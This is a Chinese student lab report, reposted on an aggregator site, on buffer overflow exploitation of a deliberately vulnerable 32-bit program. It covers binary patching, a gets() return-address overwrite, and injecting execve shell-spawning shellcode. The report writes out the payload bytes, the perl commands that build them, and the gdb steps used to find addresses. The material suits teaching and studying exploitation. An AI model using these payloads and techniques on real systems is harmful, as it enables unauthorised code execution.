20232404zxy 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/12 13:04:26/文章来源:https://www.cnblogs.com/20232404zxy/p/19136516

一、实验内容

1. 实验任务

(1)直接修改pwn1的机器指令,将main函数中调用foo的指令改为调用getShell。
(2)利用foo函数中gets(无边界检查)的漏洞,构造输入字符串覆盖返回地址,触发getShell。
(3)注入自定义Shellcode,通过构造Payload使程序执行Shellcode,获取Shell。

2. 学习目标

(1)掌握手工修改可执行文件机器指令的方法,改变程序默认执行流程,使原本不可访问的getShell函数被调用,理解ELF文件与机器指令的对应关系。
(2)利用函数的缓冲区溢出漏洞,构造攻击输入字符串覆盖堆栈中的返回地址,触发目标函数getShell,深入理解堆栈结构与返回地址的作用。
(3)学习Shellcode注入与执行的原理,掌握Payload构造方法,理解漏洞利用的完整流程。

二、实验过程

(一)直接修改程序机器指令,改变执行流程

Kali linux虚拟环境已经配置完成,pwn1已经转移到虚拟机中,并改名为pwnzxy。

Kali Linux环境配置

1. 反汇编分析关键指令

首先通过objdump -d pwnzxy | more反汇编pwnzxy,找到main、foo、getShell的地址:

反汇编结果

由分析可见getShell地址:0804847d
foo地址:08048491
main中调用foo的指令:080484b5: e8 d7 ff ff ff(e8为call指令,d7 ff ff ff为偏移量)

函数地址分析

call指令的偏移量方式为目标地址-下一条指令地址。main中call foo的下一条指令地址为80484ba,原偏移量d7 ff ff ff是补码,对应十进制-41,计算验证:80484ba-41=8048491(foo地址),符合预期。

2. 计算目标偏移量(调用getShell)

需将call foo改为call getShell,重新计算偏移量:
目标地址(getShell):0804847d,下一条指令地址:080484ba
偏移量=0804847d-080484ba=-41+(-28)=-69(十进制),对应的32位补码为c3 ff ff ff。

3. 修改机器指令

先复制pwnzxy为pwnzxy1,用vi以十六进制模式编辑pwnzxy1,输入:%!xxd切换为十六进制视图。将偏移量从d7 ff ff ff改为c3 ff ff ff。输入:%!xxd -r转回原格式,wq保存退出。

修改机器指令

4. 验证结果

反汇编pwnzxy1:objdump -d pwnzxy1 | more,确认main中call指令变为080484b5: e8 c3 ff ff ff,目标地址为0804847d(getShell)。
为pwnzxy1增加执行权限:chmod +x pwnzxy1
运行pwnzxy1:./pwnzxy1,可以进入shell,说明执行流程修改成功。

验证修改结果

(二)构造输入参数,利用BOF攻击改变执行流

1. 反汇编分析漏洞点

foo函数中调用gets函数(0804849d: call 08048330 gets@plt),gets无输入长度检查,当输入超过缓冲区大小时会溢出,覆盖堆栈中的ebp和返回地址。通过反汇编可知:
foo函数栈帧中,缓冲区地址为-0x1c(%ebp)(即缓冲区大小为0x1c=28字节),加上ebp(4字节),共需32字节填充缓冲区,第33-36字节将覆盖返回地址。

2. 确认返回地址覆盖位置(gdb调试)

启动gdb调试pwnzxy:gdb pwnzxy
运行程序并输入测试字符串:r后输入1111111122222222333333334444444412345678(共40字节)。
程序触发SIGSEGV(段错误),显示eip=0x34333231(4321的ascii),说明第33-36字节覆盖了返回地址。

GDB调试确认覆盖位置

3. 构造攻击输入(覆盖返回地址为getShell地址)

getShell地址为0804847d,按小端序倒序为\x7d\x84\x04\x08。
用perl生成含该地址的输入文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(前32字节填充缓冲区,后4字节覆盖返回地址,\x0a为回车)。
验证输入文件:xxd input,确认第33-36字节为7d 84 04 08。

构造攻击输入文件

4. 触发BOF攻击

通过管道将input作为pwnzxy的输入:(cat input; cat) | ./pwnzxy,成功获取#(Shell),输入ls可查看目录文件,攻击生效。

BOF攻击成功

BOF攻击的核心是"堆栈溢出覆盖返回地址",需明确缓冲区大小、返回地址在堆栈中的位置及字节序(小端序),gets函数的无边界检查是漏洞根源。

(三)注入 Shellcode 并执行

1. 前期环境准备

本实验的前置条件为以下五条:(1)关闭堆栈保护(2)关闭堆栈执行保护(3)关闭地址随机化(4)在x32环境下(5)在Linux实践环境。通过对应命令及实验环境准备,均已满足。

环境准备确认

2. 构造基础 Payload 与初步测试

用perl生成基础Payload,保存到input_shellcode文件:
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。此处先占位,后续需要确定shellcode的地址,并修改此处。
使用xxd input_shellcode确认输出前几行是90 90 90...最后是设置的占位数据。

基础Payload验证

3. 调试确定Shellcode地址

(1)运行程序并等待输入:打开第一个终端,执行命令让pwnzxy等待接收Payload,此时终端等待输入。

程序等待输入

(2)查找进程号并附加调试:在第二个终端用gdb调试,找到pwnzxy的进程号。

查找进程号

执行gdb -p [进程号],gdb已成功附加到pwnzxy进程。

GDB附加进程

(3)设置断点并触发溢出:在终端2,通过反汇编foo函数找到ret指令地址,设置断点;

反汇编查找ret指令 设置断点

回到终端1,按Enter键发送Payload,程序在终端2的gdb中触发断点,显示 Breakpoint 1, 0x080484ae in foo ()。

触发断点

(4)查看堆栈获取 Shellcode 地址:堆栈中0x01020304是input_shellcode中设置的占位返回地址,对应的地址是 0xffffd3dc,因此shellcode地址是ESP_ADDR+4字节,即0xffffd3e0,需将之前占位的\x4\x3\x2\x1改为此地址(小端序为\xe0\xd3\xff\xff)。

查看堆栈 获取Shellcode地址

4. 重新生成Payload并验证

因之前input_shellcode中写入错误数据导致实验未成功,重新生成input_shellcodenew:
perl -e 'print "A" x 32;print "\xe0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcodenew

重新生成Payload

通过xxd确认已将shellcode地址注入,将此文件作为最终Payload传入程序,成功获取到 Shell。

Shellcode注入成功

三、问题及解决方案

问题1:任务1中的e8d7未找到

解决方案:之前查询时,指令中间无空格,加入空格后可以找到目标指令。

查找指令问题解决

问题2:execstack无法下载

解决方案:首先尝试通过wget下载execstack时提示 "ERROR 404: Not Found",无法获取工具;群里的下载链接已失效,学习通的prelink源码下载到虚拟机后编译也出现报错;

execstack下载问题

用gcc直接编译execstack源码仍有问题。

编译问题

最后通过查询新命令,解决该问题。

问题解决

问题3:注入 Shellcode 时触发 "zsh: segmentation fault ./pwnzxy",程序崩溃

段错误问题

解决方案:检查Payload结构,发现未用32字节A填充缓冲区,导致返回地址覆盖位置错误,重新生成 Payload 时补充"A"x32,解决该问题。

Payload结构修正

四、实验感悟

本次实验让我收获颇丰。先是kali虚拟机的安装,从官网直接下载其虚拟机版本十分便捷,解压到本地后,用VMware打开就能直接使用,省去不少环境配置的麻烦。后续实验中,我对缓冲区溢出的过程与攻击手段有了更深刻的理解。而且Gitee上的实验指导也让我懂得,要先明晰整体流程,再分步操作,切勿忽视原理、盲目复制命令。网络攻防领域犹如广阔的知识海洋,正待我去深入探寻。

参考资料

ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重装系统后实况足球pes2021需要安装的文件

重装系统后实况足球pes2021需要安装的文件最近重装系统,pes2021无法运行,记录需要重新安装的运行环境: 1、directx11 2、VC_redist.x64,vc++2015-2022发行版文件64位 3、VC_redist.x86,vc++2015-2022发行版文件32…

2025年10月铝塑板厂家最新推荐排行榜,吉祥铝塑板,门头铝塑板,墙面铝塑板,干挂铝塑板,外墙铝塑板公司推荐

在当前装饰板材市场中,铝塑板凭借其兼具金属与塑料特性的优势,被广泛应用于建筑外墙、室内精装、商业标识等多个场景。然而,行业发展仍面临不少亟待解决的问题。从产品品质来看,部分厂家为降低成本,选用低纯度铝皮…

杂题 9 月份

P3157 [CQOI2011] 动态逆序对 很明显的分块暴力查询,也可以 cdq 分治做,我的分块思路好像和洛谷题解区不大一样,详见。 P13976 数列分块入门 1 挺简单的分块,甚至没测样例我就过掉了。 P1972 [SDOI2009] HH 的项链…

2025防水包胶连接器厂家权威推荐榜:密封防护与耐用品质深度

2025防水包胶连接器厂家权威推荐榜:密封防护与耐用品质深度在工业自动化、新能源汽车、户外电子设备等领域快速发展的今天,防水包胶连接器作为关键电子组件,其密封防护性能和耐用品质直接影响到整个设备的可靠性与寿…

大语言模型真的需要那么多层吗?

研究发现大型语言模型中70%的注意力头和20%的前馈网络可以被移除而几乎不影响上下文学习性能,这表明当前的大语言模型可能存在训练不足的问题。该研究通过分析OPT-66B模型的结构组成,揭示了模型规模与训练效率之间的…

k8s-网络

k8s-网络k8s网络1.同一node上pod通讯:Kubernetes为每个Pod分配一个唯一的集群内部IP地址(Pod IP) POD IP :Pod 的唯一网络标识,用于容器间直接通信。动态分配,Pod 删除后 IP 回收。​集群外无法直接访问​ 由 ​C…

2025年微滤机厂家最新权威推荐榜:高效过滤与技术创新口碑之

2025年微滤机厂家最新权威推荐榜:高效过滤与技术创新口碑之选行业背景深度解析在水处理行业快速发展的当下,微滤机作为重要的固液分离设备,在市政供水、工业废水处理、水产养殖等领域发挥着关键作用。随着环保要求的…

swing修改jbutton的文字颜色

swing修改jbutton的文字颜色通过修改前景色来实现: jButton.setForeground(Color.red);

上海寿衣厂家最新权威推荐榜:品质工艺与贴心服务口碑之选

上海寿衣厂家最新权威推荐榜:品质工艺与贴心服务口碑之选在传统文化与现代殡葬服务融合发展的背景下,上海寿衣行业呈现出专业化、品质化的发展趋势。作为人生最后一程的重要礼仪用品,寿衣不仅承载着对逝者的尊重,更…

2025上海经侦律师事务所权威推荐榜:专业实力与胜诉口碑深度

2025上海经侦律师事务所权威推荐榜:专业实力与胜诉口碑深度在当今复杂的经济环境中,经济犯罪案件呈现出专业化、隐蔽化、跨区域化的新特点。企业面临的经济侦查案件不仅涉及金额巨大,更关乎企业声誉和未来发展。经侦…

Docker从网络管理到容器优化 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

从零实现 VGG-16

博客地址:https://www.cnblogs.com/zylyehuo/参考视频:PyTorch深度学习快速入门教程(绝对通俗易懂!)【小土堆】需要用到的库torch安装有问题可参考网上教程pip install torchprotobufpip install protobufmodel.p…

完整教程:vlan Tag 概念及题目

完整教程:vlan Tag 概念及题目2025-10-12 12:28 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !importa…

WPF上位机入门教程

WPF上位机入门教程 顾名思义,是一个WPF上位机入门的教程,包含WPF基本控件使用方法、控件库、MVVM框架、IOC框架、日志、XML、串口、Modbus、PLC、SocketServer、SQLite、曲线绘制、文档导入导出等内容。 控件库Handy…

潘院士高瞻远瞩:三大趋势勾勒中国AI发展路径,元人文构想恰逢其时

潘院士高瞻远瞩:三大趋势勾勒中国AI发展路径,元人文构想恰逢其时 拜读潘云鹤院士在2025网易未来大会上的深刻洞见,深受启发。院士提出的三大趋势——专业大模型崛起、具身智能泛化深化、AI引领平台经济2.0——精准描…

2025家居MES厂家最新权威推荐榜:智能制造与高效管理深度

2025家居MES厂家最新权威推荐榜:智能制造与高效管理深度随着工业4.0时代的深入发展,家居制造业正迎来智能化转型的关键时期。制造执行系统(MES)作为连接企业计划层与控制层的核心枢纽,在家居行业的数字化进程中扮…

开源 C# 快速构建(七)通讯--串口

开源 C# 快速构建(七)通讯--串口pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&…

2025新能源冲压件厂家权威推荐榜:技术革新与品质保障深度解

2025新能源冲压件厂家权威推荐榜:技术革新与品质保障深度解新能源汽车产业的蓬勃发展带动了上游零部件领域的全面升级,其中冲压件作为电池包结构、电机壳体等关键部件的核心组成部分,其技术标准与品质要求正经历着革…

浮点数的相等性判断

在编程中,浮点数(如 C/C++ 中的float、double,Python 中的float)的赋值和相等性判断需要特别注意。因为浮点数在计算机中是近似表示的,直接使用==判断相等可能导致逻辑错误。一、浮点数的相等性判断 禁止直接使用…